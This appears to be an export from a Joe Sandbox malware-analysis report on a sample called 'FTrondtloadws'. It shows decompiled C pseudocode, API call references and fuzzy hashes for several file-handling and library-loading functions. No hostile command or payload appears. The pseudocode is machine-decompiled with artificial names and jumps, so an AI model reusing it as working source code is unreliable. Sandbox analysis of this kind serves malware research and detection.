0x00ccad4a
0x00ccacce
0x00ccadbd
0x00ccadc4
0x00ccadcb
0x00ccadcd
0x00ccae05
0x00ccae05
0x00ccae0c
0x00ccae11
0x00ccae1a
0x00ccae20
0x00ccae23
0x00000000
0x00000000
0x00ccae29
0x00ccae31
0x00ccae33
0x00000000
0x00ccae33
0x00ccadcf
0x00ccadd5
0x00ccadd5
0x00ccaddc
0x00ccadde
0x00000000
0x00000000
0x00ccade0
0x00ccade3
0x00ccadf8
0x00ccade5
0x00ccadec
0x00ccadf4
0x00ccadf4
0x00ccadfd
0x00ccadff
0x00ccae01
0x00000000
0x00ccae01
0x00ccadd1
0x00ccadd3
0x00000000
0x00000000
0x00000000
0x00ccadd3
0x00ccacd4
0x00ccacde
0x00ccad4d
0x00ccad54
0x00ccad5b
0x00ccad5b
0x00ccad5d
0x00ccad63
0x00ccad63
0x00ccad77
0x00ccad77
0x00ccad77
0x00ccad77
0x00ccad7c
0x00ccad81
0x00ccad8e
0x00ccad96
0x00ccad98
0x00ccad9a
0x00ccadb9
0x00ccadb9
0x00000000
0x00ccadb9
0x00ccad9c
0x00ccada1
0x00ccada3
0x00ccada4
0x00ccada6
0x00ccada9
0x00ccadad
0x00ccadaf
0x00000000
0x00000000
0x00ccadb1
0x00000000
0x00000000
0x00ccadb3
0x00ccadb3
0x00ccadb5
0x00ccad61
0x00000000
0x00ccad61
0x00000000
0x00ccadb7
0x00ccad65
0x00ccad6f
0x00ccad6f
0x00ccad71
0x00000000
0x00ccad71
0x00ccad67
0x00ccad6d
0x00000000
0x00000000
0x00000000
0x00ccad6d
0x00000000
0x00ccad5f
0x00ccace2
0x00ccad0a
0x00ccad0c
0x00ccad0f
0x00000000
0x00000000
0x00ccad23
0x00ccad30
0x00ccad38
0x00ccad3c
0x00000000
0x00000000
0x00ccad1c
0x00ccad1f
0x00ccad1f
0x00000000
0x00ccad23
0x00ccace4
0x00ccaceb
0x00ccacf2
0x00ccacf5
0x00ccad02
0x00ccad05
0x00000000
0x00ccacfe
0x00ccacfe
0x00000000
0x00ccacfe

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-000018C0,00000000,00000800,?,00CCAC90,?,?,00000000,?,?,00CC9C6D,?), ref: 00CCAE1A
GetLastError.KERNEL32(?,?,00CC9C6D,?,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000), ref: 00CCAE29

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3b1bc76020508a244227994d422de6f57f17294b32b945ee6f2757785392dc56
Instruction ID: f0a0f2573a33964320687f29b861dce4a1a299d84305513763bcc0d3772896b7
Opcode Fuzzy Hash: 3b1bc76020508a244227994d422de6f57f17294b32b945ee6f2757785392dc56
Instruction Fuzzy Hash: 8F41F33420434D8BC7289F25D88CFAE73A5FB4836AF14092DE96787A51D770DD828B93

Uniqueness

Uniqueness Score: -1.00%

Function 00CECA37 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00CECA37(signed int __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __ebp;
				char _t31;
				void* _t32;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_t68 = __edx;
				_v8 = E00CEA365(__ebx, __ecx, __edx);
				E00CECB5E(__ebx, __ecx, __edx, __edi, __esi, _t81);
				_t31 = E00CEC7CB(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t32 = E00CEA64E(_t57, 0x220); // executed
				_t70 = _t32;
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E00CECC00(_t68, _t70, __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E00CE9D8F();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0xd00c70;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0xd00c70) {
								E00CEA4BA( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0xd00ef0 & 0x00000001;
							if(( *0xd00ef0 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E00CEC6A1(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0xd00e90; // 0x2fa1f28
									 *0xd00964 = _t44;
								}
							}
						}
						L6:
						E00CEA4BA(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E00CEA63B())) = 0x16;
						goto L5;
					}
				}
			}

0x00ceca37
0x00ceca37
0x00ceca44
0x00ceca47
0x00ceca4f
0x00ceca58
0x00ceca5b
0x00ceca61
0x00000000
0x00ceca63
0x00ceca67
0x00ceca68
0x00ceca69
0x00ceca6f
0x00ceca74
0x00ceca76
0x00ceca7a
0x00ceca7c
0x00cecaac
0x00cecaac
0x00000000
0x00ceca7e
0x00ceca8b
0x00ceca91
0x00ceca94
0x00ceca99
0x00ceca9d
0x00ceca9f
0x00cecabe
0x00cecac2
0x00cecac4
0x00cecac4
0x00cecacf
0x00cecad3
0x00cecad4
0x00cecad6
0x00cecad9
0x00cecae0
0x00cecae5
0x00cecaea
0x00cecae0
0x00cecaeb
0x00cecaf1
0x00cecaf6
0x00cecaf8
0x00cecafb
0x00cecafe
0x00cecb05
0x00cecb07
0x00cecb0e
0x00cecb13
0x00cecb1c
0x00cecb21
0x00cecb27
0x00cecb29
0x00cecb2e
0x00cecb2e
0x00cecb27
0x00cecb0e
0x00cecaae
0x00cecaaf
0x00000000
0x00cecaa1
0x00cecaa6
0x00000000
0x00cecaa6
0x00ceca9f

APIs

Part of subcall function 00CEA365: GetLastError.KERNEL32(?,00D030C4,00CE57D2,00D030C4,?,?,00CE524D,?,?,00D030C4), ref: 00CEA369
Part of subcall function 00CEA365: _free.LIBCMT ref: 00CEA39C
Part of subcall function 00CEA365: SetLastError.KERNEL32(00000000,?,00D030C4), ref: 00CEA3DD
Part of subcall function 00CEA365: _abort.LIBCMT ref: 00CEA3E3

Part of subcall function 00CECB5E: _abort.LIBCMT ref: 00CECB90
Part of subcall function 00CECB5E: _free.LIBCMT ref: 00CECBC4

Part of subcall function 00CEC7CB: GetOEMCP.KERNEL32(00000000,?,?,00CECA54,?), ref: 00CEC7F6

_free.LIBCMT ref: 00CECAAF
_free.LIBCMT ref: 00CECAE5

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 6ab4886c0869a315dfeab246545ce5d63d760ff07de47b41e59c4bd0e955655a
Instruction ID: 55c95ad3138ebe4333f4d5e329297bf732d7203500070f523d9ded956666a7dc
Opcode Fuzzy Hash: 6ab4886c0869a315dfeab246545ce5d63d760ff07de47b41e59c4bd0e955655a
Instruction Fuzzy Hash: 03310B31904288AFDB10EFAAD4C5BAD7BF5EF40320F2540A9F4149B291DB729E42FB50

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB012 Relevance: 3.1, APIs: 2, Instructions: 83
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00CCB012(void* __ecx, void* __esi, signed int _a4, signed int* _a8, signed int* _a12) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed char _v25;
				signed char _v26;
				int _t35;
				signed char _t50;
				signed int* _t52;
				signed char _t58;
				void* _t59;
				void* _t60;
				signed int* _t61;
				signed int* _t63;

				_t60 = __esi;
				_t59 = __ecx;
				if( *(__ecx + 0x20) != 0x100 && ( *(__ecx + 0x20) & 0x00000002) == 0) {
					FlushFileBuffers( *(__ecx + 8));
				}
				_t52 = _a4;
				_t50 = 1;
				if(_t52 == 0 || ( *_t52 | _t52[1]) == 0) {
					_t58 = 0;
					_v25 = 0;
				} else {
					_t58 = 1;
					_v25 = 1;
				}
				_push(_t60);
				_t61 = _a8;
				if(_t61 == 0) {
					L9:
					_v26 = 0;
				} else {
					_v26 = _t50;
					if(( *_t61 | _t61[1]) == 0) {
						goto L9;
					}
				}
				_t63 = _a12;
				if(_t63 == 0 || ( *_t63 | _a4) == 0) {
					_t50 = 0;
				}
				if(_t58 != 0) {
					E00CD2689(_t52, _t58,  &_v24);
				}
				if(_v26 != 0) {
					E00CD2689(_t61, _t58,  &_v8);
				}
				if(_t50 != 0) {
					E00CD2689(_t63, _t58,  &_v16);
				}
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				_t35 = SetFileTime( *(_t59 + 8),  ~(_v26 & 0x000000ff) &  &_v8,  ~(_t50 & 0x000000ff) &  &_v16,  ~(_v25 & 0x000000ff) &  &_v24); // executed
				return _t35;
			}

0x00ccb012
0x00ccb018
0x00ccb021
0x00ccb02c
0x00ccb02c
0x00ccb032
0x00ccb038
0x00ccb03b
0x00ccb04c
0x00ccb04e
0x00ccb044
0x00ccb044
0x00ccb046
0x00ccb046
0x00ccb052
0x00ccb053
0x00ccb059
0x00ccb066
0x00ccb066
0x00ccb05b
0x00ccb060
0x00ccb064
0x00000000
0x00000000
0x00ccb064
0x00ccb06b
0x00ccb071
0x00ccb07b
0x00ccb07b
0x00ccb07f
0x00ccb086
0x00ccb086
0x00ccb090
0x00ccb099
0x00ccb099
0x00ccb0a1
0x00ccb0aa
0x00ccb0aa
0x00ccb0ba
0x00ccb0c8
0x00ccb0d8
0x00ccb0e0
0x00ccb0ec

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00CC7EB0,?,?,?,00000000), ref: 00CCB02C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00CCB0E0

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 900db7a4cf1ed37696c9f2f57bc3881d2e813f412ebbcc11b547f0daf1319668
Instruction ID: 1896e0ae478e3d89c0e00c9e017b8a30a01828b81d754590047389081cfa823a
Opcode Fuzzy Hash: 900db7a4cf1ed37696c9f2f57bc3881d2e813f412ebbcc11b547f0daf1319668
Instruction Fuzzy Hash: CA21CE71248242EBC714CEA4C892FABBBE4AF95304F04491DF4A183291D729EE0DDB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CCA8AE Relevance: 3.1, APIs: 2, Instructions: 82
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCA8AE(void* __ecx, WCHAR* _a4100, signed char _a4104) {
				short _v0;
				signed int _t27;
				void* _t29;
				signed char _t38;
				signed int _t42;
				long _t45;
				void* _t46;
				long _t48;

				E00CDFE20(0x1000);
				_t38 = _a4104;
				_t46 = __ecx;
				_t42 = _t38 >> 1;
				if((_t38 & 0x00000010) != 0) {
					L3:
					_t48 = 1;
					__eflags = 1;
				} else {
					_t52 =  *((char*)(__ecx + 0x30));
					if( *((char*)(__ecx + 0x30)) != 0) {
						goto L3;
					} else {
						_t48 = 0;
					}
				}
				 *(_t46 + 0x20) = _t38;
				_t45 = ((_t42 ^ 0x00000001) << 0x1f) + 0x40000000;
				_t27 =  *(E00CCD66B(_t52, _a4100)) & 0x0000ffff;
				if(_t27 == 0x2e || _t27 == 0x20) {
					if((_t38 & 0x00000020) != 0) {
						goto L8;
					} else {
						_t39 = _a4100;
						_t29 = _t27 | 0xffffffff;
					}
				} else {
					L8:
					_t39 = _a4100;
					__eflags = 0;
					_t29 = CreateFileW(_a4100, _t45, _t48, 0, 2, 0, 0); // executed
				}
				 *(_t46 + 8) = _t29;
				if(_t29 == 0xffffffff && E00CCCF12(_t39,  &_v0, 0x800) != 0) {
					 *(_t46 + 8) = CreateFileW( &_v0, _t45, _t48, 0, 2, 0, 0);
				}
				 *(_t46 + 0x10) =  *(_t46 + 0x10) & 0x00000000;
				 *((char*)(_t46 + 0x1c)) = 1;
				 *((char*)(_t46 + 0x15)) = 0;
				return E00CD1908(_t46 + 0x32, _t39, 0x800) & 0xffffff00 |  *(_t46 + 8) != 0xffffffff;
			}

0x00cca8b3
0x00cca8b9
0x00cca8c5
0x00cca8c7
0x00cca8cc
0x00cca8d8
0x00cca8da
0x00cca8da
0x00cca8ce
0x00cca8ce
0x00cca8d2
0x00000000
0x00cca8d4
0x00cca8d4
0x00cca8d4
0x00cca8d2
0x00cca8e9
0x00cca8ec
0x00cca8f7
0x00cca8fd
0x00cca907
0x00000000
0x00cca909
0x00cca909
0x00cca910
0x00cca910
0x00cca915
0x00cca915
0x00cca915
0x00cca91c
0x00cca926
0x00cca926
0x00cca92c
0x00cca932
0x00cca95c
0x00cca95c
0x00cca95f
0x00cca96d
0x00cca971
0x00cca98b

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00CCB197,?,?,00CC81DD), ref: 00CCA926
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00CCB197,?,?,00CC81DD), ref: 00CCA956

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7275c2bb125e3b20577fa4d80578b646e9b82889f44b161ae81fd08636a36293
Instruction ID: 4d3d55a07c171030d1c8bd2b7b086ce6d418d5780ac99900476ffc2a1fc7ae92
Opcode Fuzzy Hash: 7275c2bb125e3b20577fa4d80578b646e9b82889f44b161ae81fd08636a36293
Instruction Fuzzy Hash: 4821CF71500348AFE3308A65CC8AFB777DCEB49329F414A1DFAE6C21D2C774A9859632

Uniqueness

Uniqueness Score: -1.00%

Function 00CC1F30 Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00CC1F30(intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t34;
				intOrPtr _t41;
				void* _t62;
				unsigned int _t64;
				signed int _t66;
				intOrPtr* _t68;
				void* _t70;

				_t62 = __edx;
				E00CDFD4C(0xcf3691, _t70);
				_t49 = 0;
				 *((intOrPtr*)(_t70 - 0x10)) = __ecx;
				 *((intOrPtr*)(_t70 - 0x20)) = 0;
				 *(_t70 - 0x1c) = 0;
				 *((intOrPtr*)(_t70 - 0x18)) = 0;
				 *((intOrPtr*)(_t70 - 0x14)) = 0;
				_push(0);
				_push(0);
				 *((intOrPtr*)(_t70 - 4)) = 0;
				_push(_t70 - 0x20);
				_t34 = E00CC42DA(__ecx); // executed
				if(_t34 != 0) {
					_t64 =  *(_t70 - 0x1c);
					E00CC1822(_t70 - 0x20, _t62, 1);
					_t68 =  *((intOrPtr*)(_t70 + 8));
					 *((char*)( *(_t70 - 0x1c) +  *((intOrPtr*)(_t70 - 0x20)) - 1)) = 0;
					_t15 = _t64 + 1; // 0x1
					E00CC190B(_t68, _t15);
					_t41 =  *((intOrPtr*)(_t70 - 0x10));
					if( *((intOrPtr*)(_t41 + 0x6558)) != 3) {
						if(( *(_t41 + 0x3ea4) & 0x00000001) == 0) {
							E00CD2EA2( *((intOrPtr*)(_t70 - 0x20)),  *_t68,  *((intOrPtr*)(_t68 + 4)));
						} else {
							_t66 = _t64 >> 1;
							E00CD2F1B( *((intOrPtr*)(_t70 - 0x20)),  *_t68, _t66);
							 *((short*)( *_t68 + _t66 * 2)) = 0;
						}
					} else {
						_push( *((intOrPtr*)(_t68 + 4)));
						_push( *_t68);
						_push( *((intOrPtr*)(_t70 - 0x20)));
						E00CD2F59();
					}
					E00CC190B(_t68, E00CE4DF3( *_t68));
					_t49 = 1;
				}
				if( *((intOrPtr*)(_t70 - 0x20)) != 0) {
					L00CE5069( *((intOrPtr*)(_t70 - 0x20)));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t70 - 0xc));
				return _t49;
			}

0x00cc1f30
0x00cc1f35
0x00cc1f3e
0x00cc1f42
0x00cc1f45
0x00cc1f48
0x00cc1f4b
0x00cc1f4e
0x00cc1f51
0x00cc1f52
0x00cc1f56
0x00cc1f59
0x00cc1f5c
0x00cc1f63
0x00cc1f6b
0x00cc1f73
0x00cc1f7e
0x00cc1f81
0x00cc1f85
0x00cc1f8b
0x00cc1f90
0x00cc1f9a
0x00cc1fb2
0x00cc1fd3
0x00cc1fb4
0x00cc1fb4
0x00cc1fbc
0x00cc1fc5
0x00cc1fc5
0x00cc1f9c
0x00cc1f9c
0x00cc1f9f
0x00cc1fa1
0x00cc1fa4
0x00cc1fa4
0x00cc1fe3
0x00cc1fe9
0x00cc1feb
0x00cc1ff0
0x00cc1ff5
0x00cc1ffa
0x00cc2001
0x00cc2009

APIs

__EH_prolog.LIBCMT ref: 00CC1F35

Part of subcall function 00CC42DA: __EH_prolog.LIBCMT ref: 00CC42DF

_wcslen.LIBCMT ref: 00CC1FDA

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 402cb0117fd2bf8809afed8dbe4576bbd02e805bb69bcbcfa91240ba5c71b1d8
Instruction ID: a1c8b172e9ba9f9327d986e77099f8b0880eae9a1a1f6407d0d97fff034ee47b
Opcode Fuzzy Hash: 402cb0117fd2bf8809afed8dbe4576bbd02e805bb69bcbcfa91240ba5c71b1d8
Instruction Fuzzy Hash: 18217A31904218AFCF15EF9AC851EEEFBB6BF09300F04042EF845A72A2C7355951DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CE4B52 Relevance: 3.1, APIs: 2, Instructions: 67
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E00CE4B52(void* __ecx, signed int _a4, CHAR* _a8, signed int* _a12, intOrPtr _a16) {
				signed int _v8;
				_Unknown_base(*)()** _v12;
				_Unknown_base(*)()** _t23;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__* _t26;
				signed int* _t33;
				signed int _t36;
				struct HINSTANCE__** _t38;
				signed int _t44;
				signed int _t45;
				struct HINSTANCE__* _t49;

				_push(_t44);
				_t23 = 0xd24128 + _a4 * 4;
				_v12 = _t23;
				_t24 =  *_t23;
				_t45 = _t44 | 0xffffffff;
				if(_t24 != _t45) {
					if(_t24 != 0) {
						L13:
						return _t24;
					}
					_t33 = _a12;
					while(_t33 != _a16) {
						_t36 =  *_t33;
						_v8 = _t36;
						_t49 =  *(0xd2411c + _t36 * 4);
						if(_t49 == 0) {
							_t26 = E00CE4BF2( *((intOrPtr*)(0xcf7344 + _t36 * 4))); // executed
							_t49 = _t26;
							_t38 = 0xd2411c + _v8 * 4;
							if(_t49 != 0) {
								 *_t38 = _t49;
								if( *_t38 != 0) {
									FreeLibrary(_t49);
								}
								L16:
								_t24 = GetProcAddress(_t49, _a8);
								if(_t24 == 0) {
									break;
								}
								 *_v12 = _t24;
								L12:
								goto L13;
							}
							 *_t38 = _t45;
							L9:
							_t33 =  &(_t33[1]);
							continue;
						}
						if(_t49 != _t45) {
							goto L16;
						}
						goto L9;
					}
					 *_v12 = _t45;
					_t24 = 0;
					goto L12;
				}
				_t24 = 0;
				goto L13;
			}

0x00ce4b5a
0x00ce4b5b
0x00ce4b62
0x00ce4b65
0x00ce4b68
0x00ce4b6d
0x00ce4b75
0x00ce4bc9
0x00ce4bcb
0x00ce4bcb
0x00ce4b78
0x00ce4bbb
0x00ce4b7e
0x00ce4b80
0x00ce4b8a
0x00ce4b8f
0x00ce4b9e
0x00ce4ba6
0x00ce4ba9
0x00ce4bb2
0x00ce4bce
0x00ce4bd2
0x00ce4bd5
0x00ce4bd5
0x00ce4bdb
0x00ce4bdf
0x00ce4be7
0x00000000
0x00000000
0x00ce4bee
0x00ce4bc7
0x00000000
0x00ce4bc8
0x00ce4bb6
0x00ce4bb8
0x00ce4bb8
0x00000000
0x00ce4bb8
0x00ce4b93
0x00000000
0x00000000
0x00000000
0x00ce4b95
0x00ce4bc3
0x00ce4bc5
0x00000000
0x00ce4bc5
0x00ce4b6f
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,00000001,00D240C4,?,?,?,00CE4D46,00000004,InitializeCriticalSectionEx,00CF7424,InitializeCriticalSectionEx,00000000,?,00CE4AFD,00D240C4,00000FA0), ref: 00CE4BD5
GetProcAddress.KERNEL32(00000000,?), ref: 00CE4BDF

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: b717b36d686b95a3b4b91b55bc13bc1a99806b961d671807ef48b7001977861c
Instruction ID: 827515073005e913a7c01676e1f0b9041c7f019c9f4ff537b5dc3a9d50748e4b
Opcode Fuzzy Hash: b717b36d686b95a3b4b91b55bc13bc1a99806b961d671807ef48b7001977861c
Instruction Fuzzy Hash: 7111BE31600A51AFCF2ACFA6EC80BAA33A4FB5635072402A9EA15D7210E730DE11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB0F0 Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00CCB0F0(void* __ecx) {
				long _v8;
				void* __ebp;
				long _t13;
				long _t15;
				signed int _t17;
				char* _t33;
				void* _t36;
				long _t37;
				void* _t39;

				_push(__ecx);
				_t36 = __ecx;
				_t33 = __ecx + 0x1e;
				if( *((intOrPtr*)(__ecx + 8)) != 0xffffffff) {
					_t21 = __ecx + 0x32;
					goto L4;
				} else {
					if( *_t33 == 0) {
						L12:
						_t17 = _t13 | 0xffffffff;
					} else {
						_t21 = __ecx + 0x32;
						E00CC77E0(0xd030c4, _t39, __ecx + 0x32);
						L4:
						if( *((intOrPtr*)(_t36 + 0x10)) != 1) {
							_v8 = _v8 & 0x00000000;
							_t15 = SetFilePointer( *(_t36 + 8), 0,  &_v8, 1); // executed
							_t37 = _t15;
							if(_t37 != 0xffffffff) {
								L10:
								asm("cdq");
								_t17 = 0 + _t37;
								asm("adc edx, 0x0");
							} else {
								_t13 = GetLastError();
								if(_t13 == 0) {
									goto L10;
								} else {
									if( *_t33 == 0) {
										goto L12;
									} else {
										E00CC77E0(0xd030c4, _t39, _t21);
										goto L10;
									}
								}
							}
						} else {
							_t17 =  *(_t36 + 0x28);
						}
					}
				}
				return _t17;
			}

0x00ccb0f3
0x00ccb0f6
0x00ccb0fd
0x00ccb100
0x00ccb117
0x00000000
0x00ccb102
0x00ccb105
0x00ccb172
0x00ccb172
0x00ccb107
0x00ccb107
0x00ccb110
0x00ccb11a
0x00ccb11e
0x00ccb128
0x00ccb137
0x00ccb13d
0x00ccb142
0x00ccb15e
0x00ccb163
0x00ccb168
0x00ccb16a
0x00ccb144
0x00ccb144
0x00ccb14c
0x00000000
0x00ccb14e
0x00ccb151
0x00000000
0x00ccb153
0x00ccb159
0x00000000
0x00ccb159
0x00ccb151
0x00ccb14c
0x00ccb120
0x00ccb120
0x00ccb123
0x00ccb11e
0x00ccb105
0x00ccb171

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00CCB137
GetLastError.KERNEL32 ref: 00CCB144

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d81e34e1751e4e850f8a8b0adf023c29c575e3eece14630b29dddc33fdaad09
Instruction ID: f2060eba62ca158f9650f1ea7e5f4bdb8f17cc8183edf4f9c4839303c5be224e
